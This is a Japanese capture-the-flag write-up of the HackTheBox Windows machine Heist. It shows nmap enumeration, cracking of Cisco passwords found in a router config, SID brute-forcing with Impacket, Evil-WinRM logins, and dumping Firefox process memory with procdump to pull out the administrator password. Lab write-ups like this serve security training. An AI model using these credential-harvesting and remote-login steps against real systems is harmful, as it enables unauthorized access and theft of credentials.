【HackTheBox】Heist WriteUp
はじめに
HackTheBox Winマシン Heistをやっていきます
IPアドレスを/etc/hostsに追加したところからスタートします。
Enumeration
Nmapポートスキャン
nmap -sC -sV heist.htb
結果
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-06 00:35 EST
Nmap scan report for heist.htb (10.129.96.157)
Host is up (0.18s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
| http-methods:
|_ Potentially risky methods: TRACE
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-02-06T05:35:34
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.77 seconds
Http, SMBあたりがありそうです。
Httpの確認
http://heist.htb
にアクセスします。
すると http://heist.htb/login.php
にリダイレクトされます。
username:admin,password:adminあたりを適当に試しますが、ログインできません。
ゲストとしてログインできるのでログインします。
ゲストログイン
AdminとHazardの会話を見ることができ、会話の中に添付ファイルがあります。
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
synchronization
bgp log-neighbor-changes
bgp dampening
network 192.168.0.0Â mask 300.255.255.0
timers bgp 3 9
redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
session-timeout 600
authorization exec SSH
transport input ssh
Cisco Password
面白そうなものはこのあたりにあります。Ciscoパスワード??
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
下二つの解読にはこのあたりを使いました、$1$pdQG$o8nrSzsGXeaduXrjlvKc91
の方も似たようなサイトで解読できます。
ciscoパスワード解読
解読後
ユーザーネームとパスワード一覧を作っておきます。
Usernames
rout3r
admin
hazard
Passwords
$uperP@ssword
Q4)sJu\Y8qz*A3?d
stealth1agent
以上のパスワードを使ってもログインフォームにログインできませんでした。
Foothold
SMB
まずはSMBを調べます。
smbclient -L \\\\heist.htb -U hazard
Password for [WORKGROUP\hazard]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to heist.htb failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available
特にこれと言って面白いものはありません。
Crackmapexec
Crackmapexec を使うと先ほど作ったusers,passwordsを使いログイン試行をしてくれます。エラーが出て使えなかったので、今回は自力でパスワードを試しました。
SMB内のユーザを調べる
Impacketのlookupsid.pyを使います。
cd /usr/share/doc/python3-impacket/examples
./lookupsid.py hazard:stealth1agent@heist.htb
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Brute forcing SIDs at heist.htb
[*] StringBinding ncacn_np:heist.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)
ChaseやJasonがいますね。
Nmap(再度)
WindowsマシンなのでWinRMが開いているか確認します。空いていれば今までに取得したユーザネーム、パスワードを使ってEvil WinRMでシェルを取得します。
nmap -sV -sC -p 5985 heist.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-06 20:10 EST
Nmap scan report for heist.htb (10.129.96.157)
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.99 seconds
ありました。
Evil WinRM
いろいろ試行したのち、Chaseのパスワードを持っていることがわかります。
evil-winrm -i heist.htb -u Chase -p "Q4)sJu\Y8qz*A3?d"
これでChaseとしてマシンに入り込めました。
Userflag
ユーザーフラッグはDesktopの中にあります。
ToDo.txt
フラッグのほかにtodoリストもありました。
type todo.txt
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.
Done:
1. Restricted access for guest user.
Chaseはissues listを確認し続ける必要があるみたいです。おそらくそのissuelistはログイン先あたりにあるのでブラウザを確認します。
Chase以外にもadminあたりがログインしていればその情報を抜き取ることができるかもしれません。
ログインフォームのコード確認
login.phpにリダイレクトされたことがわかります。inetpub/wwwrootの中にありそうなのでcatで確認します。
login_passwordに該当するユーザ入力をハッシュ化し、直書きしてあるハッシュと比べて確認しているようです。
Privilege Escalation
プロセスのチェック
get-processでプロセスを確認します。
FirefoxのCPU usageが高いです。
procdump
Procdumpを以下から取得します。
手元にあるprocdumpをwinrmにアップロードします。
C:\Users\Chase\Desktop> upload /home/kali/Documents/WinTools/procdump.exe \Users\Chase\Desktop
dumpの取得
./procdump.exe -ma 6652 -accepteula
ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com
[07:06:35] Dump 1 initiated: C:\Users\Chase\Desktop\firefox.exe_230207_070635.dmp
[07:06:35] Dump 1 writing: Estimated dump file size is 551 MB.
[07:06:37] Dump 1 complete: 551 MB written in 1.5 seconds
[07:06:37] Dump count reached.
dumpからパスワードの取得
cat firefox.exe_230207_070635.dmp | sls "login_password"
でパスワードを抜き取ります。
admin@support.htbが引っ掛かりました。
FirefoxMOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=ååååà)Û‚ühÙW!
ログインパスワードもあります。
login_password=4dD!5}x/re8]FBuZ
Login as Administrator
Chaseから出て、Administratorとして接続します。
evil-winrm -i heist.htb -u Administrator -p '4dD!5}x/re8]FBuZ'
rootflagはdesktopの中にあります。
Discussion